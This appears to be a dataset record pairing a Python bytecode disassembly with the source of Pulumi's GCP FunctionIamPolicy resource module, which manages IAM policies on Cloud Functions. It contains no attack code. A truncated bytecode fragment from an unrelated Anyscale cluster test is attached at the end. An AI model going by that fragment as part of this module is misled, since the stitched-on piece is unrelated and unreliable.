BUILD_CONST_KEY_MAP LOAD_CONST <code object location at 0x7faa8c22a270, file "f.py", line 581> LOAD_CONST 'FunctionIamPolicy.location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faa8c22a540, file "f.py", line 589> LOAD_CONST 'FunctionIamPolicy.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa8c22a390, file "f.py", line 598> LOAD_CONST 'FunctionIamPolicy.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL FunctionIamPolicyArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL FunctionIamPolicyArgs LOAD_METHOD __new__ LOAD_GLOBAL FunctionIamPolicyArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST cloud_function LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'cloud_function'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST cloud_function LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'cloud_function' STORE_SUBSCR LOAD_FAST location LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'location' STORE_SUBSCR LOAD_FAST policy_data LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'policy_data'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST policy_data LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'policy_data' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'etag' STORE_SUBSCR LOAD_GLOBAL super LOAD_GLOBAL FunctionIamPolicy LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _FunctionIamPolicyState LOAD_METHOD __new__ LOAD_GLOBAL _FunctionIamPolicyState CALL_METHOD STORE_FAST __props__ LOAD_FAST cloud_function LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'cloud_function' STORE_SUBSCR LOAD_FAST etag LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'etag' STORE_SUBSCR LOAD_FAST location LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'location' STORE_SUBSCR LOAD_FAST policy_data LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'policy_data' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_GLOBAL FunctionIamPolicy LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'cloud_function' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'etag' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ["FunctionIamPolicyArgs", "FunctionIamPolicy"] @pulumi.input_type class FunctionIamPolicyArgs: def __init__( __self__, *, cloud_function: pulumi.Input[str], policy_data: pulumi.Input[str], location: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None ): """ The set of arguments for constructing a FunctionIamPolicy resource. :param pulumi.Input[str] cloud_function: Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] location: The location of this cloud function. Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ pulumi.set(__self__, "cloud_function", cloud_function) pulumi.set(__self__, "policy_data", policy_data) if location is not None: pulumi.set(__self__, "location", location) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="cloudFunction") def cloud_function(self) -> pulumi.Input[str]: """ Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "cloud_function") @cloud_function.setter def cloud_function(self, value: pulumi.Input[str]): pulumi.set(self, "cloud_function", value) @property @pulumi.getter(name="policyData") def policy_data(self) -> pulumi.Input[str]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @policy_data.setter def policy_data(self, value: pulumi.Input[str]): pulumi.set(self, "policy_data", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ The location of this cloud function. Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @pulumi.input_type class _FunctionIamPolicyState: def __init__( __self__, *, cloud_function: Optional[pulumi.Input[str]] = None, etag: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None ): """ Input properties used for looking up and filtering FunctionIamPolicy resources. :param pulumi.Input[str] cloud_function: Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] etag: (Computed) The etag of the IAM policy. :param pulumi.Input[str] location: The location of this cloud function. Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ if cloud_function is not None: pulumi.set(__self__, "cloud_function", cloud_function) if etag is not None: pulumi.set(__self__, "etag", etag) if location is not None: pulumi.set(__self__, "location", location) if policy_data is not None: pulumi.set(__self__, "policy_data", policy_data) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="cloudFunction") def cloud_function(self) -> Optional[pulumi.Input[str]]: """ Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "cloud_function") @cloud_function.setter def cloud_function(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cloud_function", value) @property @pulumi.getter def etag(self) -> Optional[pulumi.Input[str]]: """ (Computed) The etag of the IAM policy. """ return pulumi.get(self, "etag") @etag.setter def etag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "etag", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ The location of this cloud function. Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter(name="policyData") def policy_data(self) -> Optional[pulumi.Input[str]]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @policy_data.setter def policy_data(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "policy_data", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) class FunctionIamPolicy(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cloud_function: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None, ): """ Three different resources help you manage your IAM policy for Cloud Functions (2nd gen) function. Each of these resources serves a different use case: * `cloudfunctionsv2.FunctionIamPolicy`: Authoritative. Sets the IAM policy for the function and replaces any existing policy already attached. * `cloudfunctionsv2.FunctionIamBinding`: Authoritative for a given role. Updates the IAM policy to grant a role to a list of members. Other roles within the IAM policy for the function are preserved. * `cloudfunctionsv2.FunctionIamMember`: Non-authoritative. Updates the IAM policy to grant a role to a new member. Other members for the role for the function are preserved. A data source can be used to retrieve policy data in advent you do not need creation * `cloudfunctionsv2.FunctionIamPolicy`: Retrieves the IAM policy for the function > **Note:** `cloudfunctionsv2.FunctionIamPolicy` **cannot** be used in conjunction with `cloudfunctionsv2.FunctionIamBinding` and `cloudfunctionsv2.FunctionIamMember` or they will fight over what your policy should be. > **Note:** `cloudfunctionsv2.FunctionIamBinding` resources **can be** used in conjunction with `cloudfunctionsv2.FunctionIamMember` resources **only if** they do not grant privilege to the same role. ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/viewer", members=["user:[email protected]"], )]) policy = gcp.cloudfunctionsv2.FunctionIamPolicy("policy", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], policy_data=admin.policy_data) ``` ```python import pulumi import pulumi_gcp as gcp binding = gcp.cloudfunctionsv2.FunctionIamBinding("binding", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], role="roles/viewer", members=["user:[email protected]"]) ``` ```python import pulumi import pulumi_gcp as gcp member = gcp.cloudfunctionsv2.FunctionIamMember("member", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], role="roles/viewer", member="user:[email protected]") ``` For all import syntaxes, the "resource in question" can take any of the following forms: * projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} * {{project}}/{{location}}/{{cloud_function}} * {{location}}/{{cloud_function}} * {{cloud_function}} Any variables not passed in the import command will be taken from the provider configuration. Cloud Functions (2nd gen) function IAM resources can be imported using the resource identifiers, role, and member. IAM member imports use space-delimited identifiers: the resource in question, the role, and the member identity, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor "projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} roles/viewer user:[email protected]" ``` IAM binding imports use space-delimited identifiers: the resource in question and the role, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor "projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} roles/viewer" ``` IAM policy imports use the identifier of the resource in question, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} ``` -> **Custom Roles**: If you're importing a IAM resource with a custom role, make sure to use the full name of the custom role, e.g. `[projects/my-project|organizations/my-org]/roles/my-custom-role`. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cloud_function: Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] location: The location of this cloud function. Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ ... @overload def __init__( __self__, resource_name: str, args: FunctionIamPolicyArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ Three different resources help you manage your IAM policy for Cloud Functions (2nd gen) function. Each of these resources serves a different use case: * `cloudfunctionsv2.FunctionIamPolicy`: Authoritative. Sets the IAM policy for the function and replaces any existing policy already attached. * `cloudfunctionsv2.FunctionIamBinding`: Authoritative for a given role. Updates the IAM policy to grant a role to a list of members. Other roles within the IAM policy for the function are preserved. * `cloudfunctionsv2.FunctionIamMember`: Non-authoritative. Updates the IAM policy to grant a role to a new member. Other members for the role for the function are preserved. A data source can be used to retrieve policy data in advent you do not need creation * `cloudfunctionsv2.FunctionIamPolicy`: Retrieves the IAM policy for the function > **Note:** `cloudfunctionsv2.FunctionIamPolicy` **cannot** be used in conjunction with `cloudfunctionsv2.FunctionIamBinding` and `cloudfunctionsv2.FunctionIamMember` or they will fight over what your policy should be. > **Note:** `cloudfunctionsv2.FunctionIamBinding` resources **can be** used in conjunction with `cloudfunctionsv2.FunctionIamMember` resources **only if** they do not grant privilege to the same role. ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/viewer", members=["user:[email protected]"], )]) policy = gcp.cloudfunctionsv2.FunctionIamPolicy("policy", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], policy_data=admin.policy_data) ``` ```python import pulumi import pulumi_gcp as gcp binding = gcp.cloudfunctionsv2.FunctionIamBinding("binding", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], role="roles/viewer", members=["user:[email protected]"]) ``` ```python import pulumi import pulumi_gcp as gcp member = gcp.cloudfunctionsv2.FunctionIamMember("member", project=google_cloudfunctions2_function["function"]["project"], location=google_cloudfunctions2_function["function"]["location"], cloud_function=google_cloudfunctions2_function["function"]["name"], role="roles/viewer", member="user:[email protected]") ``` For all import syntaxes, the "resource in question" can take any of the following forms: * projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} * {{project}}/{{location}}/{{cloud_function}} * {{location}}/{{cloud_function}} * {{cloud_function}} Any variables not passed in the import command will be taken from the provider configuration. Cloud Functions (2nd gen) function IAM resources can be imported using the resource identifiers, role, and member. IAM member imports use space-delimited identifiers: the resource in question, the role, and the member identity, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor "projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} roles/viewer user:[email protected]" ``` IAM binding imports use space-delimited identifiers: the resource in question and the role, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor "projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} roles/viewer" ``` IAM policy imports use the identifier of the resource in question, e.g. ```sh $ pulumi import gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy editor projects/{{project}}/locations/{{location}}/functions/{{cloud_function}} ``` -> **Custom Roles**: If you're importing a IAM resource with a custom role, make sure to use the full name of the custom role, e.g. `[projects/my-project|organizations/my-org]/roles/my-custom-role`. :param str resource_name: The name of the resource. :param FunctionIamPolicyArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( FunctionIamPolicyArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cloud_function: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = FunctionIamPolicyArgs.__new__(FunctionIamPolicyArgs) if cloud_function is None and not opts.urn: raise TypeError("Missing required property 'cloud_function'") __props__.__dict__["cloud_function"] = cloud_function __props__.__dict__["location"] = location if policy_data is None and not opts.urn: raise TypeError("Missing required property 'policy_data'") __props__.__dict__["policy_data"] = policy_data __props__.__dict__["project"] = project __props__.__dict__["etag"] = None super(FunctionIamPolicy, __self__).__init__( "gcp:cloudfunctionsv2/functionIamPolicy:FunctionIamPolicy", resource_name, __props__, opts, ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, cloud_function: Optional[pulumi.Input[str]] = None, etag: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, ) -> "FunctionIamPolicy": """ Get an existing FunctionIamPolicy resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cloud_function: Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] etag: (Computed) The etag of the IAM policy. :param pulumi.Input[str] location: The location of this cloud function. Used to find the parent resource to bind the IAM policy to :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _FunctionIamPolicyState.__new__(_FunctionIamPolicyState) __props__.__dict__["cloud_function"] = cloud_function __props__.__dict__["etag"] = etag __props__.__dict__["location"] = location __props__.__dict__["policy_data"] = policy_data __props__.__dict__["project"] = project return FunctionIamPolicy(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="cloudFunction") def cloud_function(self) -> pulumi.Output[str]: """ Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "cloud_function") @property @pulumi.getter def etag(self) -> pulumi.Output[str]: """ (Computed) The etag of the IAM policy. """ return pulumi.get(self, "etag") @property @pulumi.getter def location(self) -> pulumi.Output[str]: """ The location of this cloud function. Used to find the parent resource to bind the IAM policy to """ return pulumi.get(self, "location") @property @pulumi.getter(name="policyData") def policy_data(self) -> pulumi.Output[str]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project")
data/pulumi_gcp-7.9.0/pulumi_gcp/cloudfunctionsv2/function_iam_policy.py
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LOAD_CONST 0 LOAD_CONST ('Any', 'Dict', 'List', 'Optional') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional POP_TOP LOAD_CONST 0 LOAD_CONST ('_Call', 'ANY', 'call', 'Mock', 'patch') IMPORT_NAME unittest.mock IMPORT_FROM _Call STORE_NAME _Call IMPORT_FROM ANY STORE_NAME ANY IMPORT_FROM call STORE_NAME call IMPORT_FROM Mock STORE_NAME Mock IMPORT_FROM patch STORE_NAME patch POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('PrepareClusterAction', 'PrepareClusterBlock') IMPORT_NAME anyscale.connect_utils.prepare_cluster IMPORT_FROM PrepareClusterAction STORE_NAME PrepareClusterAction IMPORT_FROM PrepareClusterBlock STORE_NAME PrepareClusterBlock POP_TOP LOAD_CONST 0 LOAD_CONST ('CreateCluster', 'StartClusterOptions', 'UpdateCluster') IMPORT_NAME anyscale.sdk.anyscale_client IMPORT_FROM CreateCluster STORE_NAME CreateCluster IMPORT_FROM StartClusterOptions STORE_NAME StartClusterOptions IMPORT_FROM UpdateCluster STORE_NAME UpdateCluster POP_TOP LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST <code object mock_prepare_cluster_block at 0x7f8e44712a50, file "f.py", line 17> LOAD_CONST 'mock_prepare_cluster_block' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_prepare_cluster_block LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_name' LOAD_CONST None LOAD_CONST 'test_cluster_name' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'ray_cli_is_connected' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('cluster_name', 'ray_cli_is_connected') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_start_or_create_cluster at 0x7f8e44712e40, file "f.py", line 32> LOAD_CONST 'test_start_or_create_cluster' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_start_or_create_cluster 